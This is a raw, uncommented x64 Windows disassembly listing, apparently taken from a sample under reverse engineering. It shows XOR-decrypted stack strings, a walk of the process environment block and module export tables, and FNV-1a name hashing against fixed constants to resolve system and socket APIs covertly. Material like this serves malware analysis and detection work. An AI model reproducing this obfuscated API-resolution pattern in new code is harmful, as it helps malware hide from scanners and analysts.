imul rax, rax, 0xa
movsx eax, byte [rsp + rax + 0x308]
test eax, eax
je 0x1400f249f
mov dword [rsp + 0x24c], 1
jmp 0x1400f24aa
mov dword [rsp + 0x24c], 0
movzx eax, byte [rsp + 0x24c]
test eax, eax
je 0x1400f2524
mov dword [rsp + 0x138], 0
jmp 0x1400f24d3
mov eax, dword [rsp + 0x138]
inc eax
mov dword [rsp + 0x138], eax
cmp dword [rsp + 0x138], 0xb
jge 0x1400f2524
movsxd rax, dword [rsp + 0x138]
movsx eax, byte [rsp + rax + 0x308]
mov dword [rsp + 0x2a0], eax
mov eax, dword [rsp + 0x138]
cdq
mov ecx, 0x34
idiv ecx
mov eax, edx
add eax, 0x33
mov ecx, dword [rsp + 0x2a0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x138]
mov byte [rsp + rcx + 0x308], al
jmp 0x1400f24c3
lea rax, [rsp + 0x308]
mov qword [rsp + 0x4f0], rax
mov rcx, qword [rsp + 0x4f0]
call qword [rsp + 0x330]
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x638]
mov qword [rsp + 0x358], rax
lea rax, [0x140670250]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x300]
cmp qword [rax], 0
jne 0x1400f28d7
mov rax, qword gs:[0x60]
mov qword [rsp + 0x4f8], rax
mov rax, qword [rsp + 0x4f8]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x500], rax
mov rax, qword [rsp + 0x500]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x508], rax
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x6d8], rax
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0x6e0], rax
mov rax, qword [rsp + 0x6d8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x718], rax
mov rax, qword [rsp + 0x278]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x278]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x510], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x510]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x340], rax
mov eax, dword [rsp + 0x340]
mov rcx, qword [rsp + 0x278]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x720], rax
mov eax, dword [rsp + 0x344]
mov dword [rsp + 0x728], eax
mov rax, qword [rsp + 0x718]
cmp qword [rsp + 0x720], rax
je 0x1400f2686
mov dword [rsp + 0x250], 1
jmp 0x1400f2691
mov dword [rsp + 0x250], 0
movzx eax, byte [rsp + 0x250]
mov byte [rsp + 0xbd], al
movzx eax, byte [rsp + 0xbd]
test eax, eax
je 0x1400f283c
mov rax, qword [rsp + 0x720]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x170], eax
mov eax, dword [rsp + 0x170]
mov dword [rsp + 0x2a4], eax
mov eax, dword [rsp + 0x170]
dec eax
mov dword [rsp + 0x170], eax
cmp dword [rsp + 0x2a4], 0
je 0x1400f283c
mov rax, qword [rsp + 0x720]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x718]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x170]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x718]
mov qword [rsp + 0x518], rax
mov rax, qword [rsp + 0x518]
mov qword [rsp + 0x2f8], rax
mov dword [rsp + 0x224], 0x811c9dc5
mov rax, qword [rsp + 0x2f8]
movzx eax, byte [rax]
mov byte [rsp + 0xbc], al
mov rax, qword [rsp + 0x2f8]
inc rax
mov qword [rsp + 0x2f8], rax
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0x98], al
movsx eax, byte [rsp + 0x98]
test eax, eax
jne 0x1400f278c
mov eax, dword [rsp + 0x224]
mov dword [rsp + 0x2a8], eax
jmp 0x1400f27b1
movsx eax, byte [rsp + 0x98]
mov ecx, dword [rsp + 0x224]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x224], eax
jmp 0x1400f273c
cmp dword [rsp + 0x2a8], 0xf8f45725
jne 0x1400f2837
mov rax, qword [rsp + 0x720]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x718]
mov qword [rsp + 0x528], rax
mov rax, qword [rsp + 0x720]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x718]
mov qword [rsp + 0x520], rax
mov eax, dword [rsp + 0x170]
mov rcx, qword [rsp + 0x520]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x528]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x718]
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x348], rax
jmp 0x1400f28c4
jmp 0x1400f26c2
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0x538], rax
mov rax, qword [rsp + 0x538]
mov rax, qword [rax]
mov qword [rsp + 0x540], rax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x6d8], rax
mov rax, qword [rsp + 0x6e0]
cmp qword [rsp + 0x6d8], rax
je 0x1400f288e
mov dword [rsp + 0x254], 1
jmp 0x1400f2899
mov dword [rsp + 0x254], 0
movzx eax, byte [rsp + 0x254]
mov byte [rsp + 0xba], al
movzx eax, byte [rsp + 0xba]
test eax, eax
jne 0x1400f25d5
mov qword [rsp + 0x348], 0
mov rax, qword [rsp + 0x300]
mov rcx, qword [rsp + 0x348]
mov qword [rax], rcx
mov rax, qword [rsp + 0x300]
mov rax, qword [rax]
mov qword [rsp + 0x548], rax
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x358], rax
lea rax, [rsp + 0x5d0]
lea rcx, str.__ERJpTQYJr_41_r62_I
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_socket
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x16
movsx eax, byte [rsp + rax + 0x5d0]
test eax, eax
je 0x1400f2938
mov dword [rsp + 0x258], 1
jmp 0x1400f2943
mov dword [rsp + 0x258], 0
movzx eax, byte [rsp + 0x258]
test eax, eax
je 0x1400f29bd
mov dword [rsp + 0x13c], 0
jmp 0x1400f296c
mov eax, dword [rsp + 0x13c]
inc eax
mov dword [rsp + 0x13c], eax
cmp dword [rsp + 0x13c], 0x17
jge 0x1400f29bd
movsxd rax, dword [rsp + 0x13c]
movsx eax, byte [rsp + rax + 0x5d0]
mov dword [rsp + 0x2ac], eax
mov eax, dword [rsp + 0x13c]
cdq
mov ecx, 0x34
idiv ecx
mov eax, edx
add eax, 0x33
mov ecx, dword [rsp + 0x2ac]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x13c]
mov byte [rsp + rcx + 0x5d0], al
jmp 0x1400f295c
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x550], rax
mov rdx, qword [rsp + 0x550]
mov rcx, qword [rsp + 0x350]
call qword [rsp + 0x358]
mov qword [rsp + 0x558], rax
mov rax, qword [rsp + 0x558]
mov qword [0x1406701f0], rax
mov rax, qword [rsp + 0x640]
mov qword [rsp + 0x2c8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x560], rax
mov rax, qword [rsp + 0x560]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x568], rax
mov rax, qword [rsp + 0x568]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x570]
mov qword [rsp + 0x6c0], rax
mov rax, qword [rsp + 0x6c0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x730], rax
mov rax, qword [rsp + 0x280]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x280]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x578], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x578]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x338], rax
mov eax, dword [rsp + 0x338]
mov rcx, qword [rsp + 0x280]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x738], rax
mov eax, dword [rsp + 0x33c]
mov dword [rsp + 0x740], eax
mov rax, qword [rsp + 0x730]
cmp qword [rsp + 0x738], rax
je 0x1400f2b05
mov dword [rsp + 0x25c], 1
jmp 0x1400f2b10
mov dword [rsp + 0x25c], 0
movzx eax, byte [rsp + 0x25c]
mov byte [rsp + 0xb9], al
movzx eax, byte [rsp + 0xb9]
test eax, eax
je 0x1400f2cb8
mov rax, qword [rsp + 0x738]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x174], eax
mov eax, dword [rsp + 0x174]
mov dword [rsp + 0x2b0], eax
mov eax, dword [rsp + 0x174]
dec eax
mov dword [rsp + 0x174], eax
cmp dword [rsp + 0x2b0], 0
je 0x1400f2cb8
mov rax, qword [rsp + 0x738]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x730]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x174]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x730]
mov qword [rsp + 0x580], rax
mov rax, qword [rsp + 0x580]
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x228], 0x811c9dc5
mov rax, qword [rsp + 0x2b8]
movzx eax, byte [rax]
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0x2b8]
inc rax
mov qword [rsp + 0x2b8], rax
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x99], al
movsx eax, byte [rsp + 0x99]
test eax, eax
jne 0x1400f2c0b
mov eax, dword [rsp + 0x228]
mov dword [rsp + 0x2b4], eax
jmp 0x1400f2c30
movsx eax, byte [rsp + 0x99]
mov ecx, dword [rsp + 0x228]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x228], eax
jmp 0x1400f2bbb
cmp dword [rsp + 0x2b4], 0xab45c5ee
jne 0x1400f2cb3
mov rax, qword [rsp + 0x738]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x730]
mov qword [rsp + 0x590], rax
mov rax, qword [rsp + 0x738]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x730]
mov qword [rsp + 0x588], rax
mov eax, dword [rsp + 0x174]
mov rcx, qword [rsp + 0x588]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x590]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x730]
mov qword [rsp + 0x598], rax
mov rax, qword [rsp + 0x598]
mov qword [rsp + 0x2c8], rax
jmp 0x1400f2d0f
jmp 0x1400f2b41
mov rax, qword [rsp + 0x6c0]
mov qword [rsp + 0x5a0], rax
mov rax, qword [rsp + 0x5a0]
mov rax, qword [rax]
mov qword [rsp + 0x5a8], rax
mov rax, qword [rsp + 0x5a8]
mov qword [rsp + 0x6c0], rax
mov byte [rsp + 0xb7], 1
movzx eax, byte [rsp + 0xb7]
test eax, eax
jne 0x1400f2a54
mov qword [rsp + 0x2c8], 0
mov rcx, qword [rsp + 0x350]
call qword [rsp + 0x2c8]
call fcn.1400d2e10
call fcn.1400d3300
lea rax, [0x1400ca0f0]
mov qword [rsp + 0x5b0], rax
mov rdx, qword [rsp + 0x5b0]
lea rcx, [rsp + 0x5f8]
call fcn.1400c7240
lea rax, [rsp + 0x5f8]
mov qword [rsp + 0x388], rax
mov rcx, qword [rsp + 0x388]
call fcn.1400e2640
nop
cmp dword [rsp + 0x600], 0
je 0x1400f2d81
mov dword [rsp + 0x260], 1
jmp 0x1400f2d8c
mov dword [rsp + 0x260], 0
movzx eax, byte [rsp + 0x260]
mov byte [rsp + 0xb3], al
movzx eax, byte [rsp + 0xb3]
test eax, eax
je 0x1400f2dad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
call fcn.1400c9f30
nop
lea rcx, [rsp + 0x748]
call fcn.140042710
jmp 0x1400f2dc4
xor eax, eax
mov rcx, qword [rsp + 0x768]
xor rcx, rsp
call fcn.14019e430
add rsp, 0x778
pop rdi
pop rsi
ret